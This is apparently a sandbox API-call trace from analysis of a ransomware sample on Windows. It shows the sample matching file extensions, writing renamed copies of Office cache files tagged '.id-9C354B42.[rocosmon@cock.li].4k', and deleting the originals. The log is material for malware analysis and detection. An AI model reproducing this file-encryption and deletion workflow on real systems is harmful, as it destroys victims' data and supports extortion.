	[0089.479] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75
	[0089.480] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75
	[0089.480] lstrlenW (lpString=".doc") returned 4
	[0089.480] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0089.480] lstrlenW (lpString=".docx") returned 5
	[0089.480] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1
	[0089.480] lstrlenW (lpString=".pdf") returned 4
	[0089.480] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0089.480] lstrlenW (lpString=".xls") returned 4
	[0089.481] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0089.481] lstrlenW (lpString=".xlsx") returned 5
	[0089.481] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1
	[0089.481] lstrlenW (lpString=".ppt") returned 4
	[0089.481] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0089.481] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75
	[0089.481] lstrlenW (lpString=".zip") returned 4
	[0089.481] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0089.483] lstrlenW (lpString=".rar") returned 4
	[0089.483] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0089.483] lstrlenW (lpString=".bz2") returned 4
	[0089.483] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0089.483] lstrlenW (lpString=".7z") returned 3
	[0089.483] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0089.483] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75
	[0089.483] lstrlenW (lpString=".dbf") returned 4
	[0089.483] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0089.483] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75
	[0089.483] lstrlenW (lpString=".1cd") returned 4
	[0089.483] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0089.483] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75
	[0089.483] lstrlenW (lpString=".jpg") returned 4
	[0089.483] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0089.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75
	[0089.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75
	[0089.484] lstrlenW (lpString=".doc") returned 4
	[0089.484] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0089.484] lstrlenW (lpString=".docx") returned 5
	[0089.484] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1
	[0089.484] lstrlenW (lpString=".pdf") returned 4
	[0089.484] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0089.484] lstrlenW (lpString=".xls") returned 4
	[0089.484] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0089.484] lstrlenW (lpString=".xlsx") returned 5
	[0089.484] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1
	[0089.484] lstrlenW (lpString=".ppt") returned 4
	[0089.484] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0089.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75
	[0089.484] lstrlenW (lpString=".zip") returned 4
	[0089.484] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0089.484] lstrlenW (lpString=".rar") returned 4
	[0089.484] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0089.484] lstrlenW (lpString=".bz2") returned 4
	[0089.484] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0089.484] lstrlenW (lpString=".7z") returned 3
	[0089.484] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0089.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75
	[0089.484] lstrlenW (lpString=".dbf") returned 4
	[0089.484] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0089.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75
	[0089.485] lstrlenW (lpString=".1cd") returned 4
	[0089.485] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0089.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75
	[0089.485] lstrlenW (lpString=".jpg") returned 4
	[0089.485] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0089.485] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0089.485] lstrlenW (lpString="Setup.xml") returned 9
	[0089.485] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164
	[0089.485] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=5884) returned 1
	[0089.485] CloseHandle (hObject=0x164) returned 1
	[0089.485] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020
	[0089.486] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0089.486] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164
	[0089.486] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.486] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.486] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0089.486] GetLastError () returned 0x0
	[0089.486] ReadFile (in: hFile=0x164, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x16fc, lpOverlapped=0x0) returned 1
	[0089.890] WriteFile (in: hFile=0x170, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x1700, lpOverlapped=0x0) returned 1
	[0089.892] ReadFile (in: hFile=0x164, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0089.892] WriteFile (in: hFile=0x170, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0089.892] SetEndOfFile (hFile=0x170) returned 1
	[0089.892] CloseHandle (hObject=0x170) returned 1
	[0089.895] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.895] SetEndOfFile (hFile=0x164) returned 1
	[0089.896] CloseHandle (hObject=0x164) returned 1
	[0089.896] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0089.897] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1
	[0089.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.897] lstrlenW (lpString=".doc") returned 4
	[0089.897] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0089.897] lstrlenW (lpString=".docx") returned 5
	[0089.897] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0089.897] lstrlenW (lpString=".pdf") returned 4
	[0089.897] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0089.897] lstrlenW (lpString=".xls") returned 4
	[0089.897] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0089.897] lstrlenW (lpString=".xlsx") returned 5
	[0089.897] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0089.897] lstrlenW (lpString=".ppt") returned 4
	[0089.897] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0089.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.898] lstrlenW (lpString=".zip") returned 4
	[0089.898] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0089.898] lstrlenW (lpString=".rar") returned 4
	[0089.898] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0089.898] lstrlenW (lpString=".bz2") returned 4
	[0089.898] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0089.898] lstrlenW (lpString=".7z") returned 3
	[0089.898] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0089.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.899] lstrlenW (lpString=".dbf") returned 4
	[0089.899] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0089.899] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.899] lstrlenW (lpString=".1cd") returned 4
	[0089.899] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0089.899] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.899] lstrlenW (lpString=".jpg") returned 4
	[0089.899] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0089.970] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.970] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.970] lstrlenW (lpString=".doc") returned 4
	[0089.970] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0089.970] lstrlenW (lpString=".docx") returned 5
	[0089.970] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0089.970] lstrlenW (lpString=".pdf") returned 4
	[0089.970] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0089.970] lstrlenW (lpString=".xls") returned 4
	[0089.970] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0089.970] lstrlenW (lpString=".xlsx") returned 5
	[0089.970] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0089.970] lstrlenW (lpString=".ppt") returned 4
	[0089.970] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0089.970] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.970] lstrlenW (lpString=".zip") returned 4
	[0089.970] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0089.970] lstrlenW (lpString=".rar") returned 4
	[0089.970] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0089.970] lstrlenW (lpString=".bz2") returned 4
	[0089.970] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0089.970] lstrlenW (lpString=".7z") returned 3
	[0089.970] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0089.970] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.970] lstrlenW (lpString=".dbf") returned 4
	[0089.970] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0089.970] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.970] lstrlenW (lpString=".1cd") returned 4
	[0089.970] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0089.970] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.971] lstrlenW (lpString=".jpg") returned 4
	[0089.971] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0089.971] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0089.971] lstrlenW (lpString="OneNoteMUI.xml") returned 14
	[0089.971] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0089.973] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=1606) returned 1
	[0089.973] CloseHandle (hObject=0x19c) returned 1
	[0089.973] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 0x2020
	[0089.973] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0089.973] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0089.973] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.973] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.973] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0089.974] GetLastError () returned 0x0
	[0089.974] ReadFile (in: hFile=0x19c, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x646, lpOverlapped=0x0) returned 1
	[0090.105] WriteFile (in: hFile=0x190, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x650, lpOverlapped=0x0) returned 1
	[0090.106] ReadFile (in: hFile=0x19c, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0090.106] WriteFile (in: hFile=0x190, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0090.106] SetEndOfFile (hFile=0x190) returned 1
	[0090.106] CloseHandle (hObject=0x190) returned 1
	[0090.115] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0090.116] SetEndOfFile (hFile=0x19c) returned 1
	[0090.116] CloseHandle (hObject=0x19c) returned 1
	[0090.117] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0090.117] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 1
	[0090.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77
	[0090.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77
	[0090.451] lstrlenW (lpString=".doc") returned 4
	[0090.452] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0090.452] lstrlenW (lpString=".docx") returned 5
	[0090.452] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0090.452] lstrlenW (lpString=".pdf") returned 4
	[0090.452] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0090.452] lstrlenW (lpString=".xls") returned 4
	[0090.452] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0090.452] lstrlenW (lpString=".xlsx") returned 5
	[0090.452] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0090.452] lstrlenW (lpString=".ppt") returned 4
	[0090.452] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0090.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77
	[0090.452] lstrlenW (lpString=".zip") returned 4
	[0090.452] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0090.452] lstrlenW (lpString=".rar") returned 4
	[0090.452] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0090.452] lstrlenW (lpString=".bz2") returned 4
	[0090.452] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0090.452] lstrlenW (lpString=".7z") returned 3
	[0090.452] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0090.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77
	[0090.452] lstrlenW (lpString=".dbf") returned 4
	[0090.452] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0090.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77
	[0090.452] lstrlenW (lpString=".1cd") returned 4
	[0090.452] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0090.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77
	[0090.452] lstrlenW (lpString=".jpg") returned 4
	[0090.452] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0090.453] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77
	[0090.453] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77
	[0090.453] lstrlenW (lpString=".doc") returned 4
	[0090.453] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0090.453] lstrlenW (lpString=".docx") returned 5
	[0090.453] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0090.453] lstrlenW (lpString=".pdf") returned 4
	[0090.453] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0090.453] lstrlenW (lpString=".xls") returned 4
	[0090.453] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0090.453] lstrlenW (lpString=".xlsx") returned 5
	[0090.453] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0090.453] lstrlenW (lpString=".ppt") returned 4
	[0090.453] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0090.453] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77
	[0090.453] lstrlenW (lpString=".zip") returned 4
	[0090.453] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0090.453] lstrlenW (lpString=".rar") returned 4
	[0090.453] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0090.453] lstrlenW (lpString=".bz2") returned 4
	[0090.453] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0090.453] lstrlenW (lpString=".7z") returned 3
	[0090.453] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0090.453] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77
	[0090.453] lstrlenW (lpString=".dbf") returned 4
	[0090.453] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0090.454] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77
	[0090.454] lstrlenW (lpString=".1cd") returned 4
	[0090.454] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0090.454] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77
	[0090.454] lstrlenW (lpString=".jpg") returned 4
	[0090.454] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0090.454] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0090.454] lstrlenW (lpString="GrooveMUI.xml") returned 13
	[0090.454] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164
	[0090.466] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=913) returned 1
	[0090.466] CloseHandle (hObject=0x164) returned 1
	[0090.467] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 0x2020
	[0090.467] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0090.467] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164
	[0090.467] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0090.467] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0090.467] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0090.467] GetLastError () returned 0x0
	[0090.467] ReadFile (in: hFile=0x164, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x391, lpOverlapped=0x0) returned 1
	[0090.510] WriteFile (in: hFile=0x170, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x3a0, lpOverlapped=0x0) returned 1
	[0090.511] ReadFile (in: hFile=0x164, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0090.511] WriteFile (in: hFile=0x170, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xee, lpOverlapped=0x0) returned 1
	[0090.512] SetEndOfFile (hFile=0x170) returned 1
